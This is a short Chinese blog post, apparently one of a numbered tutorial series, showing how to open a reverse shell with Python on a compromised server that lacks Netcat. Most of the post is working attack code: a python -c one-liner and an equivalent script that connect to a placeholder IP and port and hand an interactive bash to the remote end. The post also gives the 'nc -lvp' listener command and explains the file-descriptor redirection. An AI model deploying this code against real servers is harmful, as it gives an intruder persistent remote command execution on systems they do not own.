8 Netcat 反弹shell(Python)


应用场景


某些拿到服务器权限之后,想要设置一个反弹shell。但是目标服务器上没有安装Netcat时。但是安装了Python。

image


基础介绍


反弹shell命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

PC接收Netcat命令: nc -lvp port


import os
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ip', 'port'))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/bash', '-i'])

image

21089390[4]

命令解释介绍


首先使用socket与远程建立起连接,具有了远程的文件描述符3。可以使用s.fileno()来查看具体套接字建立的远程文件描述符。

os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell。

posted @ 2020-03-15 11:59  元贞  阅读(236)  评论(0编辑  收藏  举报